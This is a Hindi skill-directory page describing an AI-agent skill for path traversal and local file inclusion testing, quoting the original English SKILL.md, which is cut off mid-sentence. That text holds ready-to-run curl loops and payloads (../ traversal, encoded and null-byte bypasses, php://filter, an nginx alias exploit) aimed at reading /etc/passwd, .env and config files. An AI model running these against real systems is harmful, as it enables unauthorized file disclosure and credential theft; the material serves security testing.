मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी6.5k · #14069

lfi

यह क्या करती है

यह स्किल जाँचने का मार्गदर्शन देती है कि कोई साइट यूज़र को तय फ़ोल्डर के बाहर की फ़ाइलें पढ़ने देती है या नहीं। यह फ़ाइल डाउनलोड और डिस्प्ले फ़ीचर जाँचने वाले सुरक्षा परीक्षकों के लिए है।

कब इस्तेमाल करें

  • ✓जब कोई पेज फ़ाइल या पथ पैरामीटर लेता है और जाँचना है कि वह दूसरी फ़ाइलें पढ़ सकता है या नहीं।
  • ✓जब स्कैन किसी टेम्पलेट, डाउनलोड या स्टैटिक फ़ाइल फ़ीचर की ओर इशारा करे।
  • ✓जब पहले की recon में कोई फ़ाइल पैरामीटर मिला हो जिसे पहले टेस्ट करना चाहिए।

Skill का लिंक

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“क्या आप जाँच सकते हैं कि मेरे डाउनलोड पेज का फ़ाइल पैरामीटर फ़ोल्डर के बाहर की फ़ाइलें पढ़ने के लिए इस्तेमाल हो सकता है?”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

एजेंट पथ की चालें आज़माता है, जैसे पैरेंट फ़ोल्डर के चरण और फ़िल्टर बायपास वाले रूप, फिर जाँचता है कि जवाब में कोई ऐसी फ़ाइल दिखती है जिस तक उसकी पहुँच नहीं होनी चाहिए।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Path Traversal / Local File Inclusion (LFI)

Exploits insufficient path validation to read arbitrary files or include them for execution. Often targets file download/display endpoints, template inclusion, or static resource handlers.

Precondition — Use Recon Handoff First

If the recon handoff (recon/SUMMARY.md RECON_HANDOFF: line) names a specific file/path parameter (e.g. /<endpoint>?file=, /<endpoint>?path=, /<endpoint>?name=), START with the parameter named in the handoff. Do NOT run gobuster/ffuf/dirb against the host before testing the handoff parameter — recon already enumerated the surface. The Detection block below is for engagements where NO recon handoff exists.

The first 3 commands you run in this skill MUST target the recon-named parameter with these payload classes (one per command):

  1. plain traversal — ../../../etc/passwd
  2. stripped-traversal bypass — ....//....//....//etc/passwd
  3. PHP wrapper — php://filter/convert.base64-encode/resource=<file>

Only if all three return baseline-matched response (per the §"Response Body Verification" check) should you consider broader endpoint discovery — and that discovery belongs in exploit/PIVOT.md first, documenting (a) what payload classes you tried against the handoff parameter, (b) why the handoff vector is exhausted, (c) the new surface you are moving to.

Detection

# Basic path traversal probes on common parameters
for param in file name path page template doc include src resource filename load; do
  resp=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>/?$param=../../../etc/passwd")
  [ "$resp" != "404" ] && echo "Param '$param' returned $resp"
done

# Test traversal depth
curl -s 'http://<TARGET>/file?name=../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=../../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=../../../../../etc/passwd'

# URL-encoded traversal
curl -s 'http://<TARGET>/file?name=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'

# Double URL-encoded (when server decodes twice)
curl -s 'http://<TARGET>/file?name=%252e%252e%252f%252e%252e%252fetc%252fpasswd'

# Null byte (older PHP < 5.3.4)
curl -s 'http://<TARGET>/file?name=../../../etc/passwd%00.jpg'

# Path in URL path segment
curl -s 'http://<TARGET>/static/..%2f..%2f..%2fetc/passwd'
curl -s 'http://<TARGET>/files/....//....//....//etc/passwd'

Server-Level Path Traversal (Nginx Alias Off-by-Slash)

Distinct from PHP-parameter LFI: the vulnerability lives in the nginx config, not in application code. Frequently appears in production reverse-proxy / static-asset / admin-panel deployments. Test EVERY discovered URL prefix that returns a 301 redirect appending /, BEFORE moving to parameter fuzzing — this probe is one curl per prefix, near-zero cost, high signal.

Fingerprint (any of these is enough to test):

  • Server: nginx response header
  • A path /prefix (no trailing slash) returns 301 redirecting to /prefix/ — canonical signature of location /prefix (no slash) with a separate location /prefix/ (with slash)
  • Static assets served under a path prefix (/static, /assets, /images, /admin, /files, /uploads)

Exploit pattern — append ../ DIRECTLY after the prefix (no slash between):

# For each prefix discovered in recon (gobuster/ffuf or 301-redirect probe):
for prefix in admin static assets images files uploads docs api; do
  STATUS=$(curl -s -o /tmp/alias_${prefix}.txt -w '%{http_code}' "http://<TARGET>/${prefix}../etc/passwd")
  SIZE=$(wc -c < /tmp/alias_${prefix}.txt)
  echo "${prefix}: status=${STATUS} size=${SIZE}"
  grep -c 'root:' /tmp/alias_${prefix}.txt
done

# Then walk parents to find sensitive files near the alias root:
PREFIX="admin"   # the winning prefix from above
for target in etc/passwd .env flag.txt flag config.php settings.py ../.env ../flag.txt; do
  curl -s "http://<TARGET>/${PREFIX}../${target}" | head -5
done

Why it works: when location /prefix lacks the trailing slash but alias /target/ has one, nginx strips the URI's literal /prefix portion and concatenates the rest with the alias target. Request /prefix../foo → nginx removes /prefix → leaves ../foo → resolves against /target/ → /target/../foo = parent-directory access.

Distinguishing from root directive: only alias is affected. A location /static { root /var/www/; } block is NOT vulnerable to this — nginx appends the FULL request URI to the root path, so /static../etc/passwd yie

अक्सर पूछे जाने वाले सवाल

क्या यह पहले व्यापक स्कैन चलाती है?

नहीं। स्किल कहती है कि व्यापक डायरेक्टरी स्कैन से पहले पिछली recon में मिले नामित पैरामीटर को टेस्ट करें।

क्या यह PHP wrappers कवर करती है?

हाँ, PHP wrappers कुछ सेटअप में फ़ाइलें पढ़ या चला सकते हैं, और यह उन्हें कवर करती है।

सफल टेस्ट किसे माना जाता है?

स्किल जवाबों की तुलना बेसलाइन से करती है, ताकि पक्का हो कि सचमुच कोई असली फ़ाइल लौटी।

जानकारी

लेखक का मूल विवरण

Path traversal and Local File Inclusion (LFI) — arbitrary file reading via directory traversal, PHP filter/input/data wrappers for RCE, log poisoning, static resource disclosure, and information leakage. Use for any challenge involving file path manipulation, ../ traversal, local file read, PHP wrappers, or sensitive file disclosure.

repo: BitterSecurity/Decepticon

लोकप्रियता

GitHub स्टार
6.5k
रैंकिंग में स्थान
#14069
लाइसेंस
Apache-2.0
अपडेट की गई
1/11/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

detector-overview

6.5k

यह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।

कोडिंगसिक्योरिटी

exploiter-overview

6.5k

यह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।

कोडिंगसिक्योरिटी

llm-redteam-overview

6.5k

यह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।

कोडिंगसिक्योरिटी

aatmf-t01-prompt-injection

6.5k

समझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।

कोडिंगसिक्योरिटी

मिलती-जुलती skills